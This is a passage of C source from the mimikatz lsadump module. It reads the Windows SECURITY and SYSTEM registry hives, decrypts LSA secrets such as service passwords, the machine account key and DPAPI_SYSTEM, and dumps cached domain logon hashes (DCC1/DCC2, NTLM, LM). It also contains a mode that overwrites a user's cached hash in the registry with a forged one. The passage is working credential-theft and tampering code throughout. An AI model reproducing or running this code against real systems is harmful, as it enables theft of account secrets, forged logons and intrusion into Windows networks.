							for(i = 0, offset = 0; i < nt6keysStream->nbKeys; i++, offset += FIELD_OFFSET(NT6_SYSTEM_KEY, Key) + nt6key->KeySize)
							{
								nt6key = (PNT6_SYSTEM_KEY) ((PBYTE) nt6keysStream->Keys + offset);
								kprintf(L"  [%02u] ", i); kull_m_string_displayGUID(&nt6key->KeyId); kprintf(L" "); kull_m_string_wprintf_hex(nt6key->Key, nt6key->KeySize, 0); kprintf(L"\n");
							}
						}
					}
				}
				else // NT 5
				{
					MD5Init(&md5ctx);
					MD5Update(&md5ctx, sysKey, SYSKEY_LENGTH);
					for(i = 0; i < 1000; i++)
						MD5Update(&md5ctx, ((PNT5_SYSTEM_KEYS) buffer)->lazyiv, LAZY_IV_SIZE);
					MD5Final(&md5ctx);
					data.Buffer = (PBYTE) ((PNT5_SYSTEM_KEYS) buffer)->keys;
					if(NT_SUCCESS(RtlDecryptData2(&data, &key)))
					{
						if(nt5key = (PNT5_SYSTEM_KEY) LocalAlloc(LPTR, sizeof(NT5_SYSTEM_KEY)))
						{
							RtlCopyMemory(nt5key->key, ((PNT5_SYSTEM_KEYS) buffer)->keys[1].key, sizeof(NT5_SYSTEM_KEY));
							kprintf(L"LSA Key : "); 
							kull_m_string_wprintf_hex(nt5key->key, sizeof(NT5_SYSTEM_KEY), 0);
							kprintf(L"\n");
						}
					}
				}
				LocalFree(buffer);
			}
			LocalFree(pPolRevision);
		}

		if(nt6keysStream || nt5key)
		{
			if(secretsOrCache)
				kuhl_m_lsadump_getSecrets(hSecurity, hPolicy, hSystem, hSystemBase, nt6keysStream, nt5key);
			else
				kuhl_m_lsadump_getNLKMSecretAndCache(hSecurity, hPolicy, hSecurityBase, nt6keysStream, nt5key, pCacheData);
		}
		kull_m_registry_RegCloseKey(hSecurity, hPolicy);
	}

	if(nt6keysStream)
		LocalFree(nt6keysStream);
	if(nt5key)
		LocalFree(nt5key);

	return status;
}

BOOL kuhl_m_lsadump_getSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique)
{
	BOOL status = FALSE;
	HKEY hSecrets, hSecret, hCurrentControlSet, hServiceBase;
	DWORD i, nbSubKeys, szMaxSubKeyLen, szSecretName, szSecret;
	PVOID pSecret;
	wchar_t * secretName;

	if(kull_m_registry_RegOpenKeyEx(hSecurity, hPolicyBase, L"Secrets", 0, KEY_READ, &hSecrets))
	{
		if(kuhl_m_lsadump_getCurrentControlSet(hSystem, hSystemBase, &hCurrentControlSet))
		{
			if(kull_m_registry_RegOpenKeyEx(hSystem, hCurrentControlSet, L"services", 0, KEY_READ, &hServiceBase))
			{
				if(kull_m_registry_RegQueryInfoKey(hSecurity, hSecrets, NULL, NULL, NULL, &nbSubKeys, &szMaxSubKeyLen, NULL, NULL, NULL, NULL, NULL, NULL))
				{
					szMaxSubKeyLen++;
					if(secretName = (wchar_t *) LocalAlloc(LPTR, (szMaxSubKeyLen + 1) * sizeof(wchar_t)))
					{
						for(i = 0; i < nbSubKeys; i++)
						{
							szSecretName = szMaxSubKeyLen;
							if(kull_m_registry_RegEnumKeyEx(hSecurity, hSecrets, i, secretName, &szSecretName, NULL, NULL, NULL, NULL))
							{
								kprintf(L"\nSecret  : %s", secretName);

								if(_wcsnicmp(secretName, L"_SC_", 4) == 0)
									kuhl_m_lsadump_getInfosFromServiceName(hSystem, hServiceBase, secretName + 4);

								if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecrets, secretName, 0, KEY_READ, &hSecret))
								{
									if(kuhl_m_lsadump_decryptSecret(hSecurity, hSecret, L"CurrVal", lsaKeysStream, lsaKeyUnique, &pSecret, &szSecret))
									{
										kuhl_m_lsadump_candidateSecret(szSecret, pSecret, L"\ncur/", secretName);
										LocalFree(pSecret);
									}
									if(kuhl_m_lsadump_decryptSecret(hSecurity, hSecret, L"OldVal", lsaKeysStream, lsaKeyUnique, &pSecret, &szSecret))
									{
										kuhl_m_lsadump_candidateSecret(szSecret, pSecret, L"\nold/", secretName);
										LocalFree(pSecret);
									}
									kull_m_registry_RegCloseKey(hSecurity, hSecret);
								}
								kprintf(L"\n");
							}
						}
						LocalFree(secretName);
					}
				}
				kull_m_registry_RegCloseKey(hSystem, hServiceBase);
			}
			kull_m_registry_RegCloseKey(hSystem, hCurrentControlSet);
		}
		kull_m_registry_RegCloseKey(hSecurity, hSecrets);
	}
	return status;
}

BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN HKEY hSecurityBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique, IN PKUHL_LSADUMP_DCC_CACHE_DATA pCacheData)
{
	BOOL status = FALSE, hashStatus;
	HKEY hCache;
	DWORD i, iter = 10240, szNLKM, type, nbValues, szMaxValueNameLen, szMaxValueLen, szSecretName, szSecret, szNeeded, s1;
	PVOID pNLKM;
	wchar_t * secretName;
	PMSCACHE_ENTRY pMsCacheEntry;
	NTSTATUS nStatus;
	BYTE digest[MD5_DIGEST_LENGTH];
	DATA_KEY key = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, digest};
	CRYPT_BUFFER data;
	LSA_UNICODE_STRING usr;
	
	if(kuhl_m_lsadump_decryptSecret(hSecurity, hPolicyBase, L"Secrets\\NL$KM\\CurrVal", lsaKeysStream, lsaKeyUnique, &pNLKM, &szNLKM))
	{
		if(kull_m_registry_RegOpenKeyEx(hSecurity, hSecurityBase, L"Cache", 0, KEY_READ | (pCacheData ? (pCacheData->username ? KEY_WRITE : 0) : 0), &hCache))
		{
			if(lsaKeysStream)
			{
				kprintf(L"\n");
				if(kull_m_registry_RegQueryValueEx(hSecurity, hCache, L"NL$IterationCount", NULL, NULL, (LPBYTE) &i, &szNeeded))
				{
					iter = (i > 10240) ? (i & ~0x3ff) : (i << 10);
					kprintf(L"* NL$IterationCount is %u, %u real iteration(s)\n", i, iter);
					if(!i)
						kprintf(L"* DCC1 mode !\n");
				}
				else kprintf(L"* Iteration is set to default (10240)\n");
			}

			if(kull_m_registry_RegQueryInfoKey(hSecurity, hCache, NULL, NULL, NULL, NULL, NULL, NULL, &nbValues, &szMaxValueNameLen, &szMaxValueLen, NULL, NULL))
			{
				szMaxValueNameLen++;
				if(secretName = (wchar_t *) LocalAlloc(LPTR, (szMaxValueNameLen + 1) * sizeof(wchar_t)))
				{
					if(pMsCacheEntry = (PMSCACHE_ENTRY) LocalAlloc(LPTR, szMaxValueLen))
					{
						for(i = 0; i < nbValues; i++)
						{
							szSecretName = szMaxValueNameLen;
							szSecret = szMaxValueLen;
							if(kull_m_registry_RegEnumValue(hSecurity, hCache, i, secretName, &szSecretName, NULL, &type, (LPBYTE) pMsCacheEntry, &szSecret))
							{
								if((_wcsnicmp(secretName, L"NL$Control", 10) == 0) || (_wcsnicmp(secretName, L"NL$IterationCount", 17) == 0) || !(pMsCacheEntry->flags & 1))
									continue;

								kprintf(L"\n[%s - ", secretName);
								kull_m_string_displayLocalFileTime(&pMsCacheEntry->lastWrite);
								kprintf(L"]\nRID       : %08x (%u)\n", pMsCacheEntry->userId, pMsCacheEntry->userId);
								
								s1 = szSecret - FIELD_OFFSET(MSCACHE_ENTRY, enc_data);
								if(lsaKeysStream) // NT 6
								{
									if(kull_m_crypto_aesCTSEncryptDecrypt(CALG_AES_128, pMsCacheEntry->enc_data, s1, pNLKM, AES_128_KEY_SIZE, pMsCacheEntry->iv, FALSE))
									{
										kuhl_m_lsadump_printMsCache(pMsCacheEntry, '2');
										usr.Length = usr.MaximumLength = pMsCacheEntry->szUserName;
										usr.Buffer = (PWSTR) ((PBYTE) pMsCacheEntry->enc_data + sizeof(MSCACHE_DATA));

										if(pCacheData->hProv && ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->szSC)
											kuhl_m_lsadump_decryptSCCache(pMsCacheEntry->enc_data + (s1 - ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->szSC), ((PMSCACHE_DATA) pMsCacheEntry->enc_data)->szSC, pCacheData->hProv, pCacheData->keySpec);

										if(pCacheData && pCacheData->username && (_wcsnicmp(pCacheData->username, usr.Buffer, usr.Length / sizeof(wchar_t)) == 0))
										{
											kprintf(L"> User cache replace mode (2)!\n");
											if(pCacheData->isNtlm)
												hashStatus = NT_SUCCESS(kull_m_crypto_get_dcc(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, pCacheData->ntlm, &usr, iter));
											else if(pCacheData->isDCC)
											{
												hashStatus = TRUE;
												RtlCopyMemory(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, pCacheData->dcc, LM_NTLM_HASH_LENGTH);
											}
											else hashStatus = FALSE;
											if(hashStatus)
											{
												kprintf(L"  MsCacheV2 : "); kull_m_string_wprintf_hex(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
												if(kull_m_crypto_hmac(CALG_SHA1, pNLKM, AES_128_KEY_SIZE, pMsCacheEntry->enc_data, s1, pMsCacheEntry->cksum, MD5_DIGEST_LENGTH))
												{
													kprintf(L"  Checksum  : "); kull_m_string_wprintf_hex(pMsCacheEntry->cksum, MD5_DIGEST_LENGTH, 0); kprintf(L"\n");
													if(kull_m_crypto_aesCTSEncryptDecrypt(CALG_AES_128, pMsCacheEntry->enc_data, s1, pNLKM, AES_128_KEY_SIZE, pMsCacheEntry->iv, TRUE))
													{
														if(kull_m_registry_RegSetValueEx(hSecurity, hCache, secretName, 0, type, (LPBYTE) pMsCacheEntry, szSecret))
															kprintf(L"> OK!\n");
														else PRINT_ERROR_AUTO(L"kull_m_registry_RegSetValueEx");
													}
												}
											}
											else PRINT_ERROR_AUTO(L"?");
										}
									}
								}
								else // NT 5
								{
									if(kull_m_crypto_hmac(CALG_MD5, pNLKM, szNLKM, pMsCacheEntry->iv, LAZY_IV_SIZE, key.Buffer, MD5_DIGEST_LENGTH))
									{
										data.Length = data.MaximumLength = s1;
										data.Buffer = pMsCacheEntry->enc_data;
										nStatus = RtlDecryptData2(&data, &key);
										if(NT_SUCCESS(nStatus))
										{
											kuhl_m_lsadump_printMsCache(pMsCacheEntry, '1');
											usr.Length = usr.MaximumLength = pMsCacheEntry->szUserName;
											usr.Buffer = (PWSTR) ((PBYTE) pMsCacheEntry->enc_data + sizeof(MSCACHE_DATA));
											if(pCacheData && pCacheData->username && (_wcsnicmp(pCacheData->username, usr.Buffer, usr.Length / sizeof(wchar_t)) == 0))
											{
												kprintf(L"> User cache replace mode (1)!\n");
												if(pCacheData->isNtlm)
													hashStatus = NT_SUCCESS(kull_m_crypto_get_dcc(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, pCacheData->ntlm, &usr, 0));
												else if(pCacheData->isDCC)
												{
													hashStatus = TRUE;
													RtlCopyMemory(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, pCacheData->dcc, LM_NTLM_HASH_LENGTH);
												}
												else hashStatus = FALSE;
												if(NT_SUCCESS(kull_m_crypto_get_dcc(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, pCacheData->ntlm, &usr, 0)))
												{
													kprintf(L"  MsCacheV1 : "); kull_m_string_wprintf_hex(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
													if(kull_m_crypto_hmac(CALG_MD5, key.Buffer, MD5_DIGEST_LENGTH, pMsCacheEntry->enc_data, s1, pMsCacheEntry->cksum, MD5_DIGEST_LENGTH))
													{
														kprintf(L"  Checksum  : "); kull_m_string_wprintf_hex(pMsCacheEntry->cksum, MD5_DIGEST_LENGTH, 0); kprintf(L"\n");
														nStatus = RtlEncryptData2(&data, &key);
														if(NT_SUCCESS(nStatus))
														{
															if(kull_m_registry_RegSetValueEx(hSecurity, hCache, secretName, 0, type, (LPBYTE) pMsCacheEntry, szSecret))
																kprintf(L"> OK!\n");
															else PRINT_ERROR_AUTO(L"kull_m_registry_RegSetValueEx");
														}
														else PRINT_ERROR(L"RtlEncryptData2: 0x%08x\n", nStatus);
													}
												}
											}
										}
										else PRINT_ERROR(L"RtlEncryptDecryptRC4 : 0x%08x\n", nStatus);
									}
									else PRINT_ERROR_AUTO(L"kull_m_crypto_hmac");
								}
							}
						}
						LocalFree(pMsCacheEntry);
					}
					LocalFree(secretName);
				}
			}
			kull_m_registry_RegCloseKey(hSecurity, hCache);
		}
		LocalFree(pNLKM);
	}
	return TRUE;
}

void kuhl_m_lsadump_printMsCache(PMSCACHE_ENTRY entry, CHAR version)
{
	//DWORD i;
	MSCACHE_ENTRY_PTR ptr;
	ptr.UserName.Buffer = (PWSTR) ((PBYTE) entry->enc_data + sizeof(MSCACHE_DATA));
	ptr.UserName.Length = ptr.UserName.MaximumLength = entry->szUserName;
	ptr.Domain.Buffer = (PWSTR) ((PBYTE) ptr.UserName.Buffer + SIZE_ALIGN(entry->szUserName, 4));
	ptr.Domain.Length = ptr.Domain.MaximumLength = entry->szDomainName;
	//ptr.DnsDomainName.Buffer = (PWSTR) ((PBYTE) ptr.Domain.Buffer + SIZE_ALIGN(entry->szDomainName, 4));
	//ptr.DnsDomainName.Length = ptr.DnsDomainName.MaximumLength = entry->szDnsDomainName;
	//ptr.Upn.Buffer = (PWSTR) ((PBYTE) ptr.DnsDomainName.Buffer + SIZE_ALIGN(entry->szDnsDomainName, 4));
	//ptr.Upn.Length = ptr.Upn.MaximumLength = entry->szupn;
	//ptr.EffectiveName.Buffer = (PWSTR) ((PBYTE) ptr.Upn.Buffer + SIZE_ALIGN(entry->szupn, 4));
	//ptr.EffectiveName.Length = ptr.EffectiveName.MaximumLength = entry->szEffectiveName;
	//ptr.FullName.Buffer = (PWSTR) ((PBYTE) ptr.EffectiveName.Buffer + SIZE_ALIGN(entry->szEffectiveName, 4));
	//ptr.FullName.Length = ptr.FullName.MaximumLength = entry->szFullName;
	//ptr.LogonScript.Buffer = (PWSTR) ((PBYTE) ptr.FullName.Buffer + SIZE_ALIGN(entry->szFullName, 4));
	//ptr.LogonScript.Length = ptr.LogonScript.MaximumLength = entry->szlogonScript;
	//ptr.ProfilePath.Buffer = (PWSTR) ((PBYTE) ptr.LogonScript.Buffer + SIZE_ALIGN(entry->szlogonScript, 4));
	//ptr.ProfilePath.Length = ptr.ProfilePath.MaximumLength = entry->szprofilePath;
	//ptr.HomeDirectory.Buffer = (PWSTR) ((PBYTE) ptr.ProfilePath.Buffer + SIZE_ALIGN(entry->szprofilePath, 4));
	//ptr.HomeDirectory.Length = ptr.HomeDirectory.MaximumLength = entry->szhomeDirectory;
	//ptr.HomeDirectoryDrive.Buffer = (PWSTR) ((PBYTE) ptr.HomeDirectory.Buffer + SIZE_ALIGN(entry->szhomeDirectory, 4));
	//ptr.HomeDirectoryDrive.Length = ptr.HomeDirectoryDrive.MaximumLength = entry->szhomeDirectoryDrive;
	//ptr.Groups = (PGROUP_MEMBERSHIP) ((PBYTE) ptr.HomeDirectoryDrive.Buffer + SIZE_ALIGN(entry->szhomeDirectoryDrive, 4));
	//ptr.LogonDomainName.Buffer = (PWSTR) ((PBYTE) ptr.Groups + SIZE_ALIGN(entry->groupCount * sizeof(GROUP_MEMBERSHIP), 4));
	//ptr.LogonDomainName.Length = ptr.LogonDomainName.MaximumLength = entry->szlogonDomainName;

	//kprintf(L"UserName     : %wZ\n", &ptr.UserName);
	//kprintf(L"Domain       : %wZ\n", &ptr.Domain);
	//kprintf(L"DnsDomainName: %wZ\n", &ptr.DnsDomainName);
	//kprintf(L"Upn          : %wZ\n", &ptr.Upn);
	//kprintf(L"EffectiveName: %wZ\n", &ptr.EffectiveName);
	//kprintf(L"FullName     : %wZ\n", &ptr.FullName);
	//kprintf(L"LogonScript  : %wZ\n", &ptr.LogonScript);
	//kprintf(L"ProfilePath  : %wZ\n", &ptr.ProfilePath);
	//kprintf(L"HomeDirectory: %wZ\n", &ptr.HomeDirectory);
	//kprintf(L"HomeDirectoryDrive: %wZ\n", &ptr.HomeDirectoryDrive);
	//kprintf(L"Groups       :");
	//for(i = 0; i < entry->groupCount; i++)
	//	kprintf(L" %u", ptr.Groups[i].RelativeId);
	//kprintf(L"\n");
	//kprintf(L"LogonDomainName: %wZ\n", &ptr.LogonDomainName);
	//kprintf(L"sidCount: %u\n", entry->sidCount);
	kprintf(L"User      : %wZ\\%wZ\n", &ptr.Domain, &ptr.UserName);
	kprintf(L"MsCacheV%c : ", version); kull_m_string_wprintf_hex(((PMSCACHE_DATA) entry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
}

DECLARE_CONST_UNICODE_STRING(NTLM_PACKAGE_NAME, L"NTLM");
DECLARE_CONST_UNICODE_STRING(LSACRED_PACKAGE_NAME, LSA_CREDENTIAL_KEY_PACKAGE_NAME);
BOOL kuhl_m_lsadump_decryptSCCache(PBYTE data, DWORD size, HCRYPTPROV hProv, DWORD keySpec)
{
	BOOL status = FALSE;
	PKIWI_ENC_SC_DATA pEnc = NULL;
	DWORD toDecryptSize = 0;
	
	HCRYPTHASH hHash, hHash2;
	DWORD dwSigLen = 0;
	PBYTE sig;
	HCRYPTKEY hKey;

	DWORD i, j;
	PPAC_CREDENTIAL_DATA credentialData = NULL;
	PNTLM_SUPPLEMENTAL_CREDENTIAL ntlmCredential;
	PNTLM_SUPPLEMENTAL_CREDENTIAL_V4 ntlmCredential4;
	PKIWI_CREDENTIAL_KEYS pKeys = NULL;

	if(size > sizeof(KIWI_ENC_SC_DATA))
	{
		if(RtlEqualMemory(data, "SuppData", 8))
		{
			pEnc = &((PKIWI_ENC_SC_DATA_NEW) data)->data;
			toDecryptSize = ((PKIWI_ENC_SC_DATA_NEW) data)->dataSize - FIELD_OFFSET(KIWI_ENC_SC_DATA, toDecrypt);
		}
		else
		{
			pEnc = (PKIWI_ENC_SC_DATA) data;
			toDecryptSize = size - FIELD_OFFSET(KIWI_ENC_SC_DATA, toDecrypt);
		}

		if(CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash))
		{
			CryptHashData(hHash, pEnc->toSign, sizeof(pEnc->toSign), 0);
			if(CryptSignHash(hHash, keySpec, NULL, 0, NULL, &dwSigLen))
			{
				if(sig = (PBYTE) LocalAlloc(LPTR, dwSigLen))
				{
					if(CryptSignHash(hHash, keySpec, NULL, 0, sig, &dwSigLen))
					{
						if(CryptCreateHash(hProv, CALG_SHA1, 0, 0, &hHash2))
						{
							CryptHashData(hHash2, sig, dwSigLen, 0);
							CryptHashData(hHash2, pEnc->toHash, sizeof(pEnc->toHash), 0);
							if(CryptDeriveKey(hProv, CALG_RC4, hHash2, 0, &hKey)) // maybe RC2 sometimes ?
							{
								if(status = CryptDecrypt(hKey, 0, TRUE, 0, pEnc->toDecrypt, &toDecryptSize))
								{
									if(kull_m_pac_DecodeCredential(pEnc->toDecrypt + 24, toDecryptSize - 24, &credentialData))
									{
										for(i = 0; i < credentialData->CredentialCount; i++)
										{
											kprintf(L"  [%u] %wZ", i, &credentialData->Credentials[i].PackageName);
											if(RtlEqualUnicodeString(&NTLM_PACKAGE_NAME, &credentialData->Credentials[i].PackageName, TRUE))
											{
												ntlmCredential = (PNTLM_SUPPLEMENTAL_CREDENTIAL) credentialData->Credentials[i].Credentials;
												switch(ntlmCredential->Version)
												{
												case 0:
													if(ntlmCredential->Flags & 1)
													{
														kprintf(L"\n    LM: ");
														kull_m_string_wprintf_hex(ntlmCredential->LmPassword, LM_NTLM_HASH_LENGTH, 0);
													}
													if(ntlmCredential->Flags & 2)
													{
														kprintf(L"\n  NTLM: ");
														kull_m_string_wprintf_hex(ntlmCredential->NtPassword, LM_NTLM_HASH_LENGTH, 0);
													}
													break;
												case 4: // 10 ?
													ntlmCredential4 = (PNTLM_SUPPLEMENTAL_CREDENTIAL_V4) ntlmCredential;
													if(ntlmCredential4->Flags & 2)
													{
														kprintf(L"\n  NTLM: ");
														kull_m_string_wprintf_hex(ntlmCredential4->NtPassword, LM_NTLM_HASH_LENGTH, 0);
													}
													break;
												default:
													kprintf(L"\nUnknown version: %u\n", ntlmCredential->Version);
												}
											}
											else if(RtlEqualUnicodeString(&LSACRED_PACKAGE_NAME, &credentialData->Credentials[i].PackageName, TRUE))
											{
												if(kull_m_rpc_DecodeCredentialKeys(credentialData->Credentials[i].Credentials, credentialData->Credentials[i].CredentialSize, &pKeys))
												{
													for(j = 0; j < pKeys->count; j++)
														kuhl_m_sekurlsa_genericKeyOutput(&pKeys->keys[j], NULL);
													kull_m_rpc_FreeCredentialKeys(&pKeys);
												}
											}
											else
											{
												kprintf(L"\n");
												kull_m_string_wprintf_hex(credentialData->Credentials[i].Credentials, credentialData->Credentials[i].CredentialSize, 1 | (16 << 16));
											}
											kprintf(L"\n");
										}
										kull_m_pac_FreeCredential(&credentialData);
									}
								}
								else PRINT_ERROR_AUTO(L"CryptDecrypt");
								CryptDestroyKey(hKey);
							}
							else PRINT_ERROR_AUTO(L"CryptDeriveKey(RC4)");
							CryptDestroyHash(hHash2);
						}
					}
					else PRINT_ERROR_AUTO(L"CryptSignHash(data)");
					LocalFree(sig);
				}
			}
			else PRINT_ERROR_AUTO(L"CryptSignHash(init)");
			CryptDestroyHash(hHash);
		}
	}
	return status;
}

void kuhl_m_lsadump_getInfosFromServiceName(IN PKULL_M_REGISTRY_HANDLE hSystem, IN HKEY hSystemBase, IN PCWSTR serviceName)
{
	DWORD szNeeded;
	LPVOID objectName;
	if(kull_m_registry_OpenAndQueryWithAlloc(hSystem, hSystemBase, serviceName, L"ObjectName", NULL, &objectName, &szNeeded))
	{
		kprintf(L" / service \'%s\' with username : %.*s", serviceName, szNeeded / sizeof(wchar_t), objectName);
		LocalFree(objectName);
	}
}

BOOL kuhl_m_lsadump_decryptSecret(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hSecret, IN LPCWSTR KeyName, IN PNT6_SYSTEM_KEYS lsaKeysStream, IN PNT5_SYSTEM_KEY lsaKeyUnique, IN PVOID * pBufferOut, IN PDWORD pSzBufferOut)
{
	BOOL status = FALSE;
	DWORD szSecret = 0;
	PVOID secret;
	DATA_KEY key = {sizeof(NT5_SYSTEM_KEY), sizeof(NT5_SYSTEM_KEY), NULL};
	CRYPT_BUFFER data, output = {0, 0, NULL};

	if(kull_m_registry_OpenAndQueryWithAlloc(hSecurity, hSecret, KeyName, NULL, NULL, &secret, &szSecret))
	{
		if(lsaKeysStream)
		{
			if(kuhl_m_lsadump_sec_aes256((PNT6_HARD_SECRET) secret, szSecret, lsaKeysStream, NULL))
			{
				*pSzBufferOut = ((PNT6_HARD_SECRET) secret)->clearSecret.SecretSize;
				if(*pBufferOut = LocalAlloc(LPTR, *pSzBufferOut))
				{
					status = TRUE;
					RtlCopyMemory(*pBufferOut, ((PNT6_HARD_SECRET) secret)->clearSecret.Secret, *pSzBufferOut);
				}
			}
		}
		else if(lsaKeyUnique)
		{
			key.Buffer = lsaKeyUnique->key;
			data.Length = data.MaximumLength = ((PNT5_HARD_SECRET) secret)->encryptedStructSize;
			data.Buffer = (PBYTE) secret + szSecret - data.Length; // dirty hack to not extract x64/x86 from REG ; // ((PNT5_HARD_SECRET) secret)->encryptedSecret;
			if(RtlDecryptData(&data, &key, &output) == STATUS_BUFFER_TOO_SMALL)
			{
				if(output.Buffer = (PBYTE) LocalAlloc(LPTR, output.Length))
				{
					output.MaximumLength = output.Length;
					if(NT_SUCCESS(RtlDecryptData(&data, &key, &output)))
					{
						*pSzBufferOut = output.Length;
						if(*pBufferOut = LocalAlloc(LPTR, *pSzBufferOut))
						{
							status = TRUE;
							RtlCopyMemory(*pBufferOut, output.Buffer, *pSzBufferOut);
						}
					}
					LocalFree(output.Buffer);
				}
			}
		}
		LocalFree(secret);
	}
	return status;
}

void kuhl_m_lsadump_candidateSecret(DWORD szBytesSecrets, PVOID bufferSecret, PCWSTR prefix, PCWSTR secretName)
{
	UNICODE_STRING candidateString = {(USHORT) szBytesSecrets, (USHORT) szBytesSecrets, (PWSTR) bufferSecret};
	BOOL isStringOk = FALSE;
	PVOID bufferHash[SHA_DIGEST_LENGTH]; // ok for NTLM too
	PKIWI_TBAL_MSV pTbal;

	if(bufferSecret && szBytesSecrets)
	{
		kprintf(L"%s", prefix);
		if(szBytesSecrets <= USHRT_MAX)
			if(isStringOk = kull_m_string_suspectUnicodeString(&candidateString))
				kprintf(L"text: %wZ", &candidateString);

		if(!isStringOk)
		{
			kprintf(L"hex : ");
			kull_m_string_wprintf_hex(bufferSecret, szBytesSecrets, 1);
		}

		if(_wcsicmp(secretName, L"$MACHINE.ACC") == 0)
		{
			if(kull_m_crypto_hash(CALG_MD4, bufferSecret, szBytesSecrets, bufferHash, MD4_DIGEST_LENGTH))
			{
				kprintf(L"\n    NTLM:");
				kull_m_string_wprintf_hex(bufferHash, MD4_DIGEST_LENGTH, 0);
			}
			if(kull_m_crypto_hash(CALG_SHA1, bufferSecret, szBytesSecrets, bufferHash, SHA_DIGEST_LENGTH))
			{
				kprintf(L"\n    SHA1:");
				kull_m_string_wprintf_hex(bufferHash, SHA_DIGEST_LENGTH, 0);
			}
		}
		else if((_wcsicmp(secretName, L"DPAPI_SYSTEM") == 0) && (szBytesSecrets == sizeof(DWORD) + 2 * SHA_DIGEST_LENGTH))
		{
			kprintf(L"\n    full: ");
			kull_m_string_wprintf_hex((PBYTE) bufferSecret + sizeof(DWORD), 2 * SHA_DIGEST_LENGTH, 0);
			kprintf(L"\n    m/u : ");
			kull_m_string_wprintf_hex((PBYTE) bufferSecret + sizeof(DWORD), SHA_DIGEST_LENGTH, 0);
			kprintf(L" / ");
			kull_m_string_wprintf_hex((PBYTE) bufferSecret + sizeof(DWORD) + SHA_DIGEST_LENGTH, SHA_DIGEST_LENGTH, 0);
		}
		else if(_wcsnicmp(secretName, L"M$_MSV1_0_TBAL_PRIMARY_", 23) == 0)
		{
			pTbal = (PKIWI_TBAL_MSV) bufferSecret;
			kprintf(L"   User   : %.*s\n    Domain : %.*s", pTbal->UserName.Length / sizeof(wchar_t), (PBYTE) pTbal + pTbal->UserName.Buffer, pTbal->DomainName.Length / sizeof(wchar_t), (PBYTE) pTbal + pTbal->DomainName.Buffer);
			if(pTbal->flags & 1)
			{
				kprintf(L"\n    * NTLM : ");
				kull_m_string_wprintf_hex(pTbal->NtOwfPassword, sizeof(pTbal->NtOwfPassword), 0);
			}
			if(pTbal->flags & 2)
			{
				kprintf(L"\n    * LM   : ");
				kull_m_string_wprintf_hex(pTbal->LmOwfPassword, sizeof(pTbal->LmOwfPassword), 0);
			}
			if(pTbal->flags & 4)
			{
				kprintf(L"\n    * SHA1 : ");
				kull_m_string_wprintf_hex(pTbal->ShaOwPassword, sizeof(pTbal->ShaOwPassword), 0);
			}
			if(pTbal->flags & 8)
			{
				kprintf(L"\n    * DPAPI: ");
				kull_m_string_wprintf_hex(pTbal->DPAPIProtected, sizeof(pTbal->DPAPIProtected), 0);
			}
		}
	}
}

BOOL kuhl_m_lsadump_sec_aes256(PNT6_HARD_SECRET hardSecretBlob, DWORD hardSecretBlobSize, PNT6_SYSTEM_KEYS lsaKeysStream, PBYTE sysKey)
{
	BOOL status = FALSE;
	BYTE keyBuffer[AES_256_KEY_SIZE];
	DWORD i, offset, szNeeded;
	HCRYPTPROV hContext;
	HCRYPTHASH hHash;
	HCRYPTKEY hKey;
	PBYTE pKey = NULL;
	PNT6_SYSTEM_KEY lsaKey;

	if(lsaKeysStream)
	{
		for(i = 0, offset = 0; i < lsaKeysStream->nbKeys; i++, offset += FIELD_OFFSET(NT6_SYSTEM_KEY, Key) + lsaKey->KeySize)
		{
			lsaKey = (PNT6_SYSTEM_KEY) ((PBYTE) lsaKeysStream->Keys + offset);
			if(RtlEqualGuid(&hardSecretBlob->KeyId, &lsaKey->KeyId))
			{
				pKey = lsaKey->Key;
				szNeeded = lsaKey->KeySize;
				break;
			}
		}
	}
	else if(sysKey)
	{
		pKey = sysKey;
		szNeeded = SYSKEY_LENGTH;
	}

	if(pKey)
	{
		if(CryptAcquireContext(&hContext, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT))
		{
			if(CryptCreateHash(hContext, CALG_SHA_256, 0, 0, &hHash))
			{
				CryptHashData(hHash, pKey, szNeeded, 0);
				for(i = 0; i < 1000; i++)
					CryptHashData(hHash, hardSecretBlob->lazyiv, LAZY_NT6_IV_SIZE, 0);
				
				szNeeded = sizeof(keyBuffer);
				if(CryptGetHashParam(hHash, HP_HASHVAL, keyBuffer, &szNeeded, 0))
				{
					if(kull_m_crypto_hkey(hContext, CALG_AES_256, keyBuffer, sizeof(keyBuffer), 0, &hKey, NULL))
					{
						i = CRYPT_MODE_ECB;
						if(CryptSetKeyParam(hKey, KP_MODE, (LPCBYTE) &i, 0))
						{
							szNeeded = hardSecretBlobSize - FIELD_OFFSET(NT6_HARD_SECRET, encryptedSecret);
							status = CryptDecrypt(hKey, 0, FALSE, 0, hardSecretBlob->encryptedSecret, &szNeeded);
							if(!status)
								PRINT_ERROR_AUTO(L"CryptDecrypt");
						}
						else PRINT_ERROR_AUTO(L"CryptSetKeyParam");
						CryptDestroyKey(hKey);
					}
					else PRINT_ERROR_AUTO(L"kull_m_crypto_hkey");
				}
				CryptDestroyHash(hHash);
			}
			CryptReleaseContext(hContext, 0);
		}
	}
	return status;
}

#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
